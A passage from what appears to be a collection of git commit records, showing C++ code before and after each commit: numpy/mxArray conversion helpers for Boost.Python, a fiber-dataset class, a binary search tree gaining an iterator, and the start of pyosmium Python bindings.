storage = ((converter::rvalue_from_python_storage<vector<real> >*)data)->storage.bytes;\n\/\/ PyArrayObject *ao = (PyArrayObject*)o;\n\n\/\/ \tnew (storage) std::vector<std::vector<T> >(int(ao->dimensions[0]),\n\/\/ \t\t\t\t\t\t std::vector<T>(int(ao->dimensions[1]), 0));\n\/\/ \tdata->convertible = storage;\n\/\/ }\n\/\/ }\n\nstruct vec_from_numpy_str {\n static void* convertible(PyObject *o)\n {\n PyArrayObject *ao = (PyArrayObject*)o; \n if (!numpy_satisfy_properties(ao, 1, NULL, npy_real_type(), true))\n return 0;\n\n return (void*)o;\n }\n\n static void construct(PyObject *o,\n converter::rvalue_from_python_stage1_data* data)\n {\n void* storage = ((converter::rvalue_from_python_storage<vector<real> >*)data)->storage.bytes;\n PyArrayObject *ao = (PyArrayObject*)o; \n\n new (storage) vector<real>(ao->dimensions[0]);\n\n vector<real> *v = (vector<real>*)storage;\n\n data->convertible = storage;\n\n for (int i=0; i<ao->dimensions[0]; i++) {\n (*v)[i] = ((real*)ao->data)[i];\n }\n }\n\n vec_from_numpy_str() \n {\n converter::registry::push_back(&convertible, \n &construct, \n type_id<vector<real> >());\n }\n};\n\nstruct vec_to_numpy_str {\n static PyObject *convert(const vector<real>& v)\n {\n npy_intp dims[] = {v.size()};\n PyArrayObject *ao = (PyArrayObject*)PyArray_SimpleNew(1, dims, npy_real_type());\n \n for (int i=0; i<v.size(); i++) {\n ((real*)ao->data)[i] = v[i];\n }\n \n return (PyObject*)ao;\n }\n};\n\nPyObject *vecvecvec_to_numpy(vector<vector<vector<real> > > v) \n{\n npy_intp dims[] = {v.size(), v[0].size(), v[0][0].size()};\n\n PyArrayObject *retval;\n retval = (PyArrayObject*)PyArray_SimpleNew(3, dims, npy_real_type());\n for (int i=0; i<dims[0];i++) {\n\tfor (int j=0; j<dims[1]; j++) {\n\t for (int k=0; k<dims[2]; k++) {\n\t\t((real*)retval->data)[i*dims[0]*dims[1] + j*dims[1] + k] = v[i][j][k];\n\t }\n\t}\n }\n\n return (PyObject*)retval;\n}\n\n\nPyObject *vecvec_to_numpy(const vector<const vector<real> *> v) \n{\n npy_intp dims[] = {v.size(), v[0]->size()};\n\n PyArrayObject *retval;\n retval = (PyArrayObject*)PyArray_SimpleNew(2, dims, npy_real_type());\n for (int i=0; i<dims[0];i++) {\n\tfor (int j=0; j<dims[1]; j++) {\n\t ((real*)retval->data)[i*dims[1] + j] = (*v[i])[j];\n\t}\n }\n\n return (PyObject*)retval;\n}\n\nPyObject *vecvec_real_to_numpy(vector<vector<real> > v) \n{\n npy_intp dims[] = {v.size(), v[0].size()};\n printf(\"dims[0]: %d, dims[1]: %d\\n\", dims[0], dims[1]);\n fflush(stdout);\n\n PyArrayObject *retval;\n retval = (PyArrayObject*)PyArray_SimpleNew(2, dims, npy_real_type());\n for (int i=0; i<dims[0];i++) {\n\tfor (int j=0; j<dims[1]; j++) {\n\t ((real*)retval->data)[i*dims[1] + j] = v[i][j];\n\t}\n }\n\n return (PyObject*)retval;\n}\n\n\nPyObject* mxarray2d_to_numpy(mxArray* arr)\n{\n \/* fucking column major bitches *\/ \n npy_intp dims[] = {arr->Dims[0], arr->Dims[1]};\n \n PyArrayObject *retval = (PyArrayObject*)PyArray_SimpleNew(2, dims, npy_real_type());\n for (int i=0; i<dims[0]; i++) {\n\tfor (int j=0; j<dims[1]; j++) {\n\t real fake;\n\t ((real*)retval->data)[i*dims[1] + j] = arr->get2D(i, j, fake);\n\t}\n }\n\n return (PyObject*)retval;\n}\n\n\nmxArray* numpy_to_mxarray3d(PyObject *o)\n{\n PyArrayObject *ao = (PyArrayObject*)o;\n\n if (!numpy_satisfy_properties(ao, 3, NULL, npy_real_type(), true)) {\n return NULL;\n }\n\n int dims[] = {ao->dimensions[0], ao->dimensions[1], ao->dimensions[2]};\n \n mxArray* ret = mxCreateNumericArray(3, dims, mx_real_type(), mxREAL);\n for (int c=0; c<dims[2]; c++) {\n\tfor (int col=0; col<dims[1]; col++) {\n\t for (int row=0; row<dims[0]; row++) {\n\t\tret->set3D(row, col, c, ((real*)ao->data)[row*dims[1]*dims[2] + col*dims[2] + c]);\n\t }\n\t}\n }\n return ret;\n}\n\nPyObject* mxarray3d_to_numpy(mxArray* arr) \n{\n npy_intp dims[] = {arr->Dims[0], arr->Dims[1], arr->Dims[2]};\n\n PyArrayObject *retval = (PyArrayObject*)PyArray_SimpleNew(3, dims, npy_real_type());\n for (int c=0; c<dims[2]; c++) {\n\tfor (int col=0; col<dims[1]; col++) {\n\t for (int row=0; row<dims[0]; row++) {\n\t\treal fake;\n\t\t((real*)retval->data)[row*dims[1]*dims[2] + col*dims[2] + c] = \\\n arr->get3D(row, col, c, fake);\n\t }\n\t}\n }\n return (PyObject*)retval;\n}\n\n\n\nvector<real> numpy_to_vec(PyObject *o) \n{\n PyArrayObject *ao = (PyArrayObject*)o;\n if (!numpy_satisfy_properties(ao, 1, NULL, npy_real_type(), true)) {\n return vector<real>();\n }\n\n vector<real> ret(ao->dimensions[0]);\n for (int i=0; i<ao->dimensions[0]; i++) {\n ret[i] = ((real*)ao->data)[i];\n }\n return ret;\n}\n\nPyObject* vec_to_numpy(vector<real> v)\n{\n npy_intp dims[] = {v.size()};\n PyArrayObject *ao = (PyArrayObject*)PyArray_SimpleNew(1, dims, npy_real_type());\n \n for (int i=0; i<v.size(); i++) {\n ((real*)ao->data)[i] = v[i];\n }\n \n return (PyObject*)ao;\n}\n<commit_msg>Removed annoying print<commit_after>\/\/#define NO_IMPORT_ARRAY \n\/\/#define PY_ARRAY_UNIQUE_SYMBOL 23847\n\/\/#define NPY_ENABLE_SEPARATE_COMPILATION\n\n#ifdef LINK_PYTHON_THREADS\n#include \"gil_release.h\"\n#endif\n\n#include \"boilerplate.h\"\n\/*#include <infer_machine\/distribution_map.h>\n#include <infer_machine\/hier_infer_machine.h>\n\n\/\/#include <dataset_2d\/outdoor_2d.h>\n#include <graph_segment\/fh_segmenter.h>\n#include <region_generic\/region_data.h>\n#include <region_2d\/region_2d_level.h>\n\n#include <v_regressor\/v_random_forest.h>\n#include <pclassifier\/boosted_maxent.h>\n\n#include \"voc_felz_features.h\"\n*\/\n#include <mymex.h>\n\nbool numpy_satisfy_properties(PyArrayObject *ao, \n int nd, \n int* dims, \n int type_num, \n bool yell)\n{\n if (ao->base != NULL) {\n if (yell) {\n printf(\"OH NO! base was %p instead of NULL!\\n\", \n ao->base);\n fflush(stdout);\n }\n return false;\n }\n\n if (!(ao->flags | NPY_C_CONTIGUOUS)) {\n if (yell) {\n printf(\"ON NO! NPY_C_CONTIGUOUS FALSE!\\n\");\n fflush(stdout);\n }\n return false;\n }\n if (!(ao->flags | NPY_OWNDATA)) {\n if (yell) {\n printf(\"ON NO! NPY_OWNDATA FALSE!\\n\");\n fflush(stdout);\n }\n return false;\n }\n if (!(ao->flags | NPY_ALIGNED)) {\n if (yell) {\n printf(\"ON NO! NPY_ALIGNED FALSE!\\n\");\n fflush(stdout);\n }\n return false;\n }\n\n if (nd >= 0) {\n if (ao->nd != nd) {\n if (yell) {\n printf(\"numpy_satisfy_properties OH NO! nd = %d and desired nd = %d!\\n\",\n ao->nd, nd);\n fflush(stdout);\n }\n return false;\n }\n \n if (dims != NULL) {\n for (int i=0; i<nd; i++) {\n if (ao->dimensions[i] != dims[i]) {\n if (yell) {\n printf(\"OH NO! dims[%d] = %ld and desired %d!\\n\", \n i, ao->dimensions[i], dims[i]);\n fflush(stdout);\n }\n return false;\n }\n }\n }\n }\n\n if (ao->descr->type_num != type_num) {\n if (yell) {\n printf(\"OH NO! type_num is %d and desired %d!\\n\", \n ao->descr->type_num, type_num);\n fflush(stdout);\n }\n return false;\n }\n return true;\n}\n\n\n\nstruct mxArray_to_numpy_str {\n static PyObject *convert(const mxArray &m) {\n if (m.NDim == 2) {\n \/* fucking column major bitches *\/ \n npy_intp dims[] = {m.Dims[0], m.Dims[1]};\n \n PyArrayObject *retval = (PyArrayObject*)PyArray_SimpleNew(2, dims, npy_real_type());\n for (int i=0; i<dims[0]; i++) {\n for (int j=0; j<dims[1]; j++) {\n real fake;\n ((real*)retval->data)[i*dims[1] + j] = m.get2D(i, j, fake);\n }\n }\n \n return (PyObject*)retval;\n }\n else if (m.NDim == 3) {\n npy_intp dims[] = {m.Dims[0], m.Dims[1], m.Dims[2]};\n \n PyArrayObject *retval = (PyArrayObject*)PyArray_SimpleNew(3, dims, npy_real_type());\n for (int c=0; c<dims[2]; c++) {\n for (int col=0; col<dims[1]; col++) {\n for (int row=0; row<dims[0]; row++) {\n real fake;\n ((real*)retval->data)[row*dims[1]*dims[2] + col*dims[2] + c] = \\\n m.get3D(row, col, c, fake);\n }\n }\n }\n return (PyObject*)retval;\n }\n else {\n printf(\"OH NO! Tried to convert mxArray of nd %d to numpy!\\n\", \n m.NDim);\n }\n }\n}; \n\n\nstruct mxArray_from_numpy_str {\n static void* convertible(PyObject *o)\n {\n PyArrayObject *ao = (PyArrayObject*)o; \n\n int cls = npy_real_type();\n if (!numpy_satisfy_properties(ao, 2, NULL, cls, true) &&\n !numpy_satisfy_properties(ao, 3, NULL, cls, true))\n return 0;\n\n return (void*)o;\n }\n\n static void construct(PyObject *o,\n converter::rvalue_from_python_stage1_data* data)\n {\n\n void* storage = ((converter::rvalue_from_python_storage<mxArray>*)data)->storage.bytes;\n PyArrayObject *ao = (PyArrayObject*)o; \n \n new (storage) mxArray(ao->nd, (int*)ao->dimensions, mx_real_type(), mxREAL);\n mxArray* m = (mxArray*)storage;\n \n data->convertible = storage;\n\n if (ao->nd == 2) {\n for (int col=0; col < m->Dims[1]; col++) {\n for (int row=0; row < m->Dims[0]; row++) {\n m->set2D(row, col, ((real*)ao->data)[row*m->Dims[1]* + \n col]);\n }\n }\n }\n else if (ao->nd == 3) {\n for (int c=0; c < m->Dims[2]; c++) {\n for (int col=0; col < m->Dims[1]; col++) {\n for (int row=0; row < m->Dims[0]; row++) {\n m->set3D(row, col, c, ((real*)ao->data)[row*m->Dims[1]*m->Dims[2] + \n col*m->Dims[2] + \n c]);\n }\n }\n }\n }\n }\n \n mxArray_from_numpy_str() \n {\n converter::registry::push_back(&convertible, \n &construct, \n type_id<mxArray>());\n }\n};\n\n\n \n\/\/ template <typename T, typename U>\n\/\/ struct vec_vec_from_numpy_str {\n\/\/ static void *convertible (PyObject *) \n\/\/ {\n\/\/ \tPyArrayObject *ao = (PyArrayObject*)o; \n\/\/ if (!numpy_satisfy_properties(ao, 2, NULL, U, true))\n\/\/ \t return 0;\t\n\/\/ return (void*)o;\n\/\/ }\n \n\/\/ static void construct(PyObject *o, converter::rvalue_from_python_stage1_data* data)\n\/\/ {\n\/\/ \tvoid* storage = ((converter::rvalue_from_python_storage<vector<real> >*)data)->storage.bytes;\n\/\/ PyArrayObject *ao = (PyArrayObject*)o;\n\n\/\/ \tnew (storage) std::vector<std::vector<T> >(int(ao->dimensions[0]),\n\/\/ \t\t\t\t\t\t std::vector<T>(int(ao->dimensions[1]), 0));\n\/\/ \tdata->convertible = storage;\n\/\/ }\n\/\/ }\n\nstruct vec_from_numpy_str {\n static void* convertible(PyObject *o)\n {\n PyArrayObject *ao = (PyArrayObject*)o; \n if (!numpy_satisfy_properties(ao, 1, NULL, npy_real_type(), true))\n return 0;\n\n return (void*)o;\n }\n\n static void construct(PyObject *o,\n converter::rvalue_from_python_stage1_data* data)\n {\n void* storage = ((converter::rvalue_from_python_storage<vector<real> >*)data)->storage.bytes;\n PyArrayObject *ao = (PyArrayObject*)o; \n\n new (storage) vector<real>(ao->dimensions[0]);\n\n vector<real> *v = (vector<real>*)storage;\n\n data->convertible = storage;\n\n for (int i=0; i<ao->dimensions[0]; i++) {\n (*v)[i] = ((real*)ao->data)[i];\n }\n }\n\n vec_from_numpy_str() \n {\n converter::registry::push_back(&convertible, \n &construct, \n type_id<vector<real> >());\n }\n};\n\nstruct vec_to_numpy_str {\n static PyObject *convert(const vector<real>& v)\n {\n npy_intp dims[] = {v.size()};\n PyArrayObject *ao = (PyArrayObject*)PyArray_SimpleNew(1, dims, npy_real_type());\n \n for (int i=0; i<v.size(); i++) {\n ((real*)ao->data)[i] = v[i];\n }\n \n return (PyObject*)ao;\n }\n};\n\nPyObject *vecvecvec_to_numpy(vector<vector<vector<real> > > v) \n{\n npy_intp dims[] = {v.size(), v[0].size(), v[0][0].size()};\n\n PyArrayObject *retval;\n retval = (PyArrayObject*)PyArray_SimpleNew(3, dims, npy_real_type());\n for (int i=0; i<dims[0];i++) {\n\tfor (int j=0; j<dims[1]; j++) {\n\t for (int k=0; k<dims[2]; k++) {\n\t\t((real*)retval->data)[i*dims[0]*dims[1] + j*dims[1] + k] = v[i][j][k];\n\t }\n\t}\n }\n\n return (PyObject*)retval;\n}\n\n\nPyObject *vecvec_to_numpy(const vector<const vector<real> *> v) \n{\n npy_intp dims[] = {v.size(), v[0]->size()};\n\n PyArrayObject *retval;\n retval = (PyArrayObject*)PyArray_SimpleNew(2, dims, npy_real_type());\n for (int i=0; i<dims[0];i++) {\n\tfor (int j=0; j<dims[1]; j++) {\n\t ((real*)retval->data)[i*dims[1] + j] = (*v[i])[j];\n\t}\n }\n\n return (PyObject*)retval;\n}\n\nPyObject *vecvec_real_to_numpy(vector<vector<real> > v) \n{\n npy_intp dims[] = {v.size(), v[0].size()};\n\n PyArrayObject *retval;\n retval = (PyArrayObject*)PyArray_SimpleNew(2, dims, npy_real_type());\n for (int i=0; i<dims[0];i++) {\n\tfor (int j=0; j<dims[1]; j++) {\n\t ((real*)retval->data)[i*dims[1] + j] = v[i][j];\n\t}\n }\n\n return (PyObject*)retval;\n}\n\n\nPyObject* mxarray2d_to_numpy(mxArray* arr)\n{\n \/* fucking column major bitches *\/ \n npy_intp dims[] = {arr->Dims[0], arr->Dims[1]};\n \n PyArrayObject *retval = (PyArrayObject*)PyArray_SimpleNew(2, dims, npy_real_type());\n for (int i=0; i<dims[0]; i++) {\n\tfor (int j=0; j<dims[1]; j++) {\n\t real fake;\n\t ((real*)retval->data)[i*dims[1] + j] = arr->get2D(i, j, fake);\n\t}\n }\n\n return (PyObject*)retval;\n}\n\n\nmxArray* numpy_to_mxarray3d(PyObject *o)\n{\n PyArrayObject *ao = (PyArrayObject*)o;\n\n if (!numpy_satisfy_properties(ao, 3, NULL, npy_real_type(), true)) {\n return NULL;\n }\n\n int dims[] = {ao->dimensions[0], ao->dimensions[1], ao->dimensions[2]};\n \n mxArray* ret = mxCreateNumericArray(3, dims, mx_real_type(), mxREAL);\n for (int c=0; c<dims[2]; c++) {\n\tfor (int col=0; col<dims[1]; col++) {\n\t for (int row=0; row<dims[0]; row++) {\n\t\tret->set3D(row, col, c, ((real*)ao->data)[row*dims[1]*dims[2] + col*dims[2] + c]);\n\t }\n\t}\n }\n return ret;\n}\n\nPyObject* mxarray3d_to_numpy(mxArray* arr) \n{\n npy_intp dims[] = {arr->Dims[0], arr->Dims[1], arr->Dims[2]};\n\n PyArrayObject *retval = (PyArrayObject*)PyArray_SimpleNew(3, dims, npy_real_type());\n for (int c=0; c<dims[2]; c++) {\n\tfor (int col=0; col<dims[1]; col++) {\n\t for (int row=0; row<dims[0]; row++) {\n\t\treal fake;\n\t\t((real*)retval->data)[row*dims[1]*dims[2] + col*dims[2] + c] = \\\n arr->get3D(row, col, c, fake);\n\t }\n\t}\n }\n return (PyObject*)retval;\n}\n\n\n\nvector<real> numpy_to_vec(PyObject *o) \n{\n PyArrayObject *ao = (PyArrayObject*)o;\n if (!numpy_satisfy_properties(ao, 1, NULL, npy_real_type(), true)) {\n return vector<real>();\n }\n\n vector<real> ret(ao->dimensions[0]);\n for (int i=0; i<ao->dimensions[0]; i++) {\n ret[i] = ((real*)ao->data)[i];\n }\n return ret;\n}\n\nPyObject* vec_to_numpy(vector<real> v)\n{\n npy_intp dims[] = {v.size()};\n PyArrayObject *ao = (PyArrayObject*)PyArray_SimpleNew(1, dims, npy_real_type());\n \n for (int i=0; i<v.size(); i++) {\n ((real*)ao->data)[i] = v[i];\n }\n \n return (PyObject*)ao;\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Fixed symlink<commit_after><|endoftext|>"} {"text":"<commit_before>\/*\n * datasetfibers.cpp\n *\n * Created on: Dec 12, 2012\n * Author: Ralph Schurade\n *\/\n#include \"datasetfibers.h\"\n\n#include \"..\/..\/gui\/gl\/fiberrenderer.h\"\n\nDatasetFibers::DatasetFibers( QString filename, QVector< QVector< float > > fibs, int numPoints, int numLines ) :\n Dataset( filename, Fn::DatasetType::FIBERS ),\n m_fibs( fibs ),\n m_renderer( 0 )\n{\n m_properties.set( Fn::Property::NUM_POINTS, numPoints );\n m_properties.set( Fn::Property::NUM_LINES, numLines );\n m_properties.set( Fn::Property::FIBER_COLORMODE, 0, 0, 2, true );\n m_properties.set( Fn::Property::FIBER_COLOR, QColor( 255, 0, 0 ), true );\n}\n\nDatasetFibers::DatasetFibers( QVector< QVector< float > > fibs ) :\n Dataset( QString(\"new fibers\"), Fn::DatasetType::FIBERS ),\n m_fibs( fibs ),\n m_renderer( 0 )\n{\n int numPoints = 0;\n for ( int i = 0; i < fibs.size(); ++i )\n {\n numPoints += fibs[i].size();\n }\n m_properties.set( Fn::Property::NUM_POINTS, numPoints );\n m_properties.set( Fn::Property::NUM_LINES, fibs.size() );\n m_properties.set( Fn::Property::FIBER_COLORMODE, 0, 0, 1, true );\n m_properties.set( Fn::Property::FIBER_COLOR, QColor( 255, 0, 0 ), true );\n}\n\nDatasetFibers::~DatasetFibers()\n{\n m_fibs.clear();\n}\n\nQVector< QVector< float > > DatasetFibers::getFibs()\n{\n return m_fibs;\n}\n\nQVector< QVector< float > > DatasetFibers::getSelectedFibs()\n{\n if ( m_renderer == 0 )\n {\n return m_fibs;\n }\n else\n {\n QVector<bool>selected = m_renderer->getSelection();\n QVector<QVector<float> >out;\n for ( int i = 0; i < selected.size(); ++i )\n {\n if ( selected[i] )\n {\n out.push_back( m_fibs[i] );\n }\n }\n return out;\n }\n}\n\nvoid DatasetFibers::draw( QMatrix4x4 mvpMatrix, QMatrix4x4 mvMatrixInverse, QAbstractItemModel* globalModel, QAbstractItemModel* roiModel )\n{\n if ( m_renderer == 0 )\n {\n m_renderer = new FiberRenderer( roiModel, m_fibs );\n m_renderer->setModel( globalModel );\n m_renderer->init();\n connect( m_properties.getProperty( Fn::Property::FIBER_COLOR ), SIGNAL( colorChanged( QColor ) ), m_renderer, SLOT( colorChanged( QColor ) ) );\n }\n m_renderer->setRenderParams( m_properties.get( Fn::Property::FIBER_COLORMODE ).toInt() );\n m_renderer->draw( mvpMatrix, mvMatrixInverse );\n}\n\nQString DatasetFibers::getValueAsString( int x, int y, int z )\n{\n return QString( \"\" );\n}\n<commit_msg>fix color mode selection for created fibers<commit_after>\/*\n * datasetfibers.cpp\n *\n * Created on: Dec 12, 2012\n * Author: Ralph Schurade\n *\/\n#include \"datasetfibers.h\"\n\n#include \"..\/..\/gui\/gl\/fiberrenderer.h\"\n\nDatasetFibers::DatasetFibers( QString filename, QVector< QVector< float > > fibs, int numPoints, int numLines ) :\n Dataset( filename, Fn::DatasetType::FIBERS ),\n m_fibs( fibs ),\n m_renderer( 0 )\n{\n m_properties.set( Fn::Property::NUM_POINTS, numPoints );\n m_properties.set( Fn::Property::NUM_LINES, numLines );\n m_properties.set( Fn::Property::FIBER_COLORMODE, 0, 0, 2, true );\n m_properties.set( Fn::Property::FIBER_COLOR, QColor( 255, 0, 0 ), true );\n}\n\nDatasetFibers::DatasetFibers( QVector< QVector< float > > fibs ) :\n Dataset( QString(\"new fibers\"), Fn::DatasetType::FIBERS ),\n m_fibs( fibs ),\n m_renderer( 0 )\n{\n int numPoints = 0;\n for ( int i = 0; i < fibs.size(); ++i )\n {\n numPoints += fibs[i].size();\n }\n m_properties.set( Fn::Property::NUM_POINTS, numPoints );\n m_properties.set( Fn::Property::NUM_LINES, fibs.size() );\n m_properties.set( Fn::Property::FIBER_COLORMODE, 0, 0, 2, true );\n m_properties.set( Fn::Property::FIBER_COLOR, QColor( 255, 0, 0 ), true );\n}\n\nDatasetFibers::~DatasetFibers()\n{\n m_fibs.clear();\n}\n\nQVector< QVector< float > > DatasetFibers::getFibs()\n{\n return m_fibs;\n}\n\nQVector< QVector< float > > DatasetFibers::getSelectedFibs()\n{\n if ( m_renderer == 0 )\n {\n return m_fibs;\n }\n else\n {\n QVector<bool>selected = m_renderer->getSelection();\n QVector<QVector<float> >out;\n for ( int i = 0; i < selected.size(); ++i )\n {\n if ( selected[i] )\n {\n out.push_back( m_fibs[i] );\n }\n }\n return out;\n }\n}\n\nvoid DatasetFibers::draw( QMatrix4x4 mvpMatrix, QMatrix4x4 mvMatrixInverse, QAbstractItemModel* globalModel, QAbstractItemModel* roiModel )\n{\n if ( m_renderer == 0 )\n {\n m_renderer = new FiberRenderer( roiModel, m_fibs );\n m_renderer->setModel( globalModel );\n m_renderer->init();\n connect( m_properties.getProperty( Fn::Property::FIBER_COLOR ), SIGNAL( colorChanged( QColor ) ), m_renderer, SLOT( colorChanged( QColor ) ) );\n }\n m_renderer->setRenderParams( m_properties.get( Fn::Property::FIBER_COLORMODE ).toInt() );\n m_renderer->draw( mvpMatrix, mvMatrixInverse );\n}\n\nQString DatasetFibers::getValueAsString( int x, int y, int z )\n{\n return QString( \"\" );\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <set>\n#include <cassert>\n\ntemplate <typename T>\nstruct node {\n T data;\n node *left = nullptr, *right = nullptr;\n node(T data): data(data) {}\n};\n\ntemplate <typename T>\nclass tree {\n node<T>* root = nullptr;\n\npublic:\n bool contains(const T& data) {\n auto curr = root;\n while (curr != nullptr) {\n if (curr->data == data)\n return true;\n curr = data < curr->data ? curr->left : curr->right;\n }\n return false;\n }\n\n void insert(T data) {\n auto ptr = &root;\n while (auto curr = *ptr) {\n if (curr->data == data)\n return;\n ptr = data < curr->data ? &curr->left : &curr->right;\n }\n *ptr = new node<T>(data);\n }\n\n void remove(const T& data) {\n auto ptr = &root;\n while (auto curr = *ptr) {\n if (data == curr->data) {\n if (curr->left == nullptr) {\n *ptr = curr->right;\n } else if (curr->right == nullptr) {\n *ptr = curr->left;\n } else {\n auto l = curr->left, r = l->right;\n if (r == nullptr) {\n l->right = curr->right;\n *ptr = l;\n } else {\n while (r->right != nullptr)\n l = r, r = r->right;\n l->right = r->left;\n r->left = curr->left;\n r->right = curr->right;\n *ptr = r;\n }\n }\n delete curr;\n return;\n }\n ptr = data < curr->data ? &curr->left : &curr->right;\n }\n }\n};\n\nint main() {\n tree<int> ours;\n std::set<int> theirs;\n int op_counts[] = {0, 0, 0};\n for (int i = 0; i < 100000; ++i) {\n int data = rand() % 100;\n int op = rand() % 3;\n ++op_counts[op];\n if (op == 0) {\n assert(ours.contains(data) == theirs.count(data));\n } else if (op == 1) {\n ours.insert(data);\n theirs.insert(data);\n } else {\n assert(op == 2);\n ours.remove(data);\n theirs.erase(data);\n }\n }\n\n for (int n : op_counts)\n assert(n > 0);\n std::cout << \"All tests passed\" << std::endl;\n return 0;\n}\n<commit_msg>Add parent ptrs to bst; implement iterator<commit_after>#include <iostream>\n#include <set>\n#include <cassert>\n\ntemplate <typename T>\nclass tree {\n\n struct node {\n const T data;\n node *left = nullptr, *right = nullptr, *parent;\n node(T data, node* parent): data(data), parent(parent) {}\n };\n\n struct iterator {\n node* n;\n iterator(node* n): n(n) {}\n bool operator==(iterator o) const { return n == o.n; }\n bool operator!=(iterator o) const { return n != o.n; }\n const T& operator*() const { return n->data; }\n const T* operator->() const { return &n->data; }\n iterator operator++(int) { auto copy = *this; ++(*this); return copy; }\n iterator& operator++() {\n if (n->right != nullptr) {\n n = n->right;\n while (n->left != nullptr) {\n n = n->left;\n }\n } else {\n while (n->parent != nullptr && n == n->parent->right)\n n = n->parent;\n n = n->parent;\n }\n return *this;\n }\n };\n\n node* root = nullptr;\n\npublic:\n bool contains(const T& data) const {\n auto n = root;\n while (n != nullptr) {\n if (n->data == data)\n return true;\n n = data < n->data ? n->left : n->right;\n }\n return false;\n }\n\n void insert(T data) {\n node* parent = nullptr;\n auto ptr = &root;\n while (auto n = *ptr) {\n if (n->data == data)\n return;\n parent = n;\n ptr = data < n->data ? &n->left : &n->right;\n }\n *ptr = new node(data, parent);\n }\n\n void remove(const T& data) {\n node* parent = nullptr;\n auto ptr = &root;\n while (auto n = *ptr) {\n if (data == n->data) {\n if (n->left == nullptr && n->right == nullptr) {\n *ptr = n->right;\n } else if (n->left == nullptr) {\n *ptr = n->right;\n n->right->parent = parent;\n } else if (n->right == nullptr) {\n *ptr = n->left;\n n->left->parent = parent;\n } else {\n auto l = n->left, r = l->right;\n if (r == nullptr) {\n l->right = n->right;\n l->parent = parent;\n n->right->parent = l;\n *ptr = l;\n } else {\n while (r->right != nullptr)\n l = r, r = r->right;\n l->right = r->left;\n if (l->right != nullptr)\n l->right->parent = l;\n r->left = n->left;\n r->right = n->right;\n r->parent = parent;\n n->left->parent = r;\n n->right->parent = r;\n *ptr = r;\n }\n }\n delete n;\n return;\n }\n parent = n;\n ptr = data < n->data ? &n->left : &n->right;\n }\n }\n\n iterator begin() const {\n if (!root)\n return end();\n auto n = root;\n while (n->left != nullptr)\n n = n->left;\n return iterator(n);\n }\n\n iterator end() const {\n return iterator(nullptr);\n }\n};\n\nint main() {\n tree<int> ours;\n std::set<int> theirs;\n int op_counts[] = {0, 0, 0, 0};\n for (int i = 0; i < 1000000; ++i) {\n int data = rand() % 100;\n int op = rand() % 4;\n ++op_counts[op];\n if (op == 0) {\n assert(ours.contains(data) == theirs.count(data));\n } else if (op == 1) {\n ours.insert(data);\n theirs.insert(data);\n } else if (op == 2) {\n ours.remove(data);\n theirs.erase(data);\n } else {\n assert(op == 3);\n auto our_it = ours.begin();\n auto their_it = theirs.begin();\n while (our_it != ours.end() && their_it != theirs.end())\n assert(*our_it++ == *their_it++);\n assert(our_it == ours.end() && their_it == theirs.end());\n }\n }\n\n for (int n : op_counts)\n assert(n > 0);\n std::cout << \"All tests passed\" << std::endl;\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <osmium\/visitor.hpp>\n#include <osmium\/index\/map\/all.hpp>\n#include <osmium\/handler\/node_locations_for_ways.hpp>\n#include <osmium\/area\/multipolygon_collector.hpp>\n#include <osmium\/area\/assembler.hpp>\n\n#include \"generic_writer.hpp\"\n#include \"generic_handler.hpp\"\n#include \"merged_input.hpp\"\n#include \"write_handler.hpp\"\n\ntemplate <typename T>\nvoid apply_reader_simple(osmium::io::Reader &rd, T &h) {\n osmium::apply(rd, h);\n}\n\n\ntemplate <typename T>\nvoid apply_reader_simple_with_location(osmium::io::Reader &rd,\n osmium::handler::NodeLocationsForWays<T> &l,\n BaseHandler &h) {\n osmium::apply(rd, l, h);\n}\n\nPyObject *invalidLocationExceptionType = NULL;\nPyObject *notFoundExceptionType = NULL;\n\nvoid translator1(osmium::invalid_location const&) {\n PyErr_SetString(invalidLocationExceptionType, \"Invalid location\");\n}\n\nvoid translator2(osmium::not_found const&) {\n PyErr_SetString(notFoundExceptionType, \"Element not found in index\");\n}\n\nPyObject* createExceptionClass(const char* name, PyObject* baseTypeObj = PyExc_Exception)\n{\n using std::string;\n namespace bp = boost::python;\n\n string scopeName = bp::extract<string>(bp::scope().attr(\"__name__\"));\n string qualifiedName0 = scopeName + \".\" + name;\n char* qualifiedName1 = const_cast<char*>(qualifiedName0.c_str());\n\n PyObject* typeObj = PyErr_NewException(qualifiedName1, baseTypeObj, 0);\n if(!typeObj) bp::throw_error_already_set();\n bp::scope().attr(name) = bp::handle<>(bp::borrowed(typeObj));\n return typeObj;\n}\n\n#include \"index.cc\"\n\nBOOST_PYTHON_MODULE(_osmium)\n{\n using namespace boost::python;\n docstring_options doc_options(true, true, false);\n\n invalidLocationExceptionType = createExceptionClass(\"InvalidLocationError\", PyExc_RuntimeError);\n register_exception_translator<osmium::invalid_location>(&translator1);\n\n notFoundExceptionType = createExceptionClass(\"NotFoundError\", PyExc_KeyError);\n register_exception_translator<osmium::not_found>(&translator2);\n\n class_<osmium::handler::NodeLocationsForWays<LocationTable>, boost::noncopyable>(\"NodeLocationsForWays\", \n init<LocationTable&>())\n .def(\"ignore_errors\", &osmium::handler::NodeLocationsForWays<LocationTable>::ignore_errors)\n ;\n\n class_<SimpleHandlerWrap, boost::noncopyable>(\"SimpleHandler\",\n \"The most generic of OSM data handlers. For each data type \"\n \"a callback can be implemented where the object is processed. Note that \"\n \"all objects that are handed into the handler are only readable and are \"\n \"only valid until the end of the callback is reached. Any data that \"\n \"should be retained must be copied into other data structures.\")\n .def(\"apply_file\", &SimpleHandlerWrap::apply_file,\n (arg(\"self\"), arg(\"filename\"),\n arg(\"locations\")=false, arg(\"idx\")=\"sparse_mem_array\"),\n \"Apply the handler to the given file. If locations is true, then\\n\"\n \"a location handler will be applied before, which saves the node\\n\"\n \"positions. In that case, the type of this position index can be\\n\"\n \"further selected in idx. If an area callback is implemented, then\\n\"\n \"the file will be scanned twice and a location handler and a\\n\"\n \"handler for assembling multipolygons and areas from ways will\\n\"\n \"be executed.\")\n .def(\"apply_buffer\", &SimpleHandlerWrap::apply_buffer,\n (arg(\"self\"), arg(\"buffer\"), arg(\"format\"),\n arg(\"locations\")=false, arg(\"idx\")=\"sparse_mem_array\"),\n \"Apply the handler to a string buffer. The buffer must be a\\n\"\n \"byte string.\")\n ;\n def(\"apply\", &apply_reader_simple<BaseHandler>,\n \"Apply a chain of handlers.\");\n def(\"apply\", &apply_reader_simple<osmium::handler::NodeLocationsForWays<LocationTable>>);\n def(\"apply\", 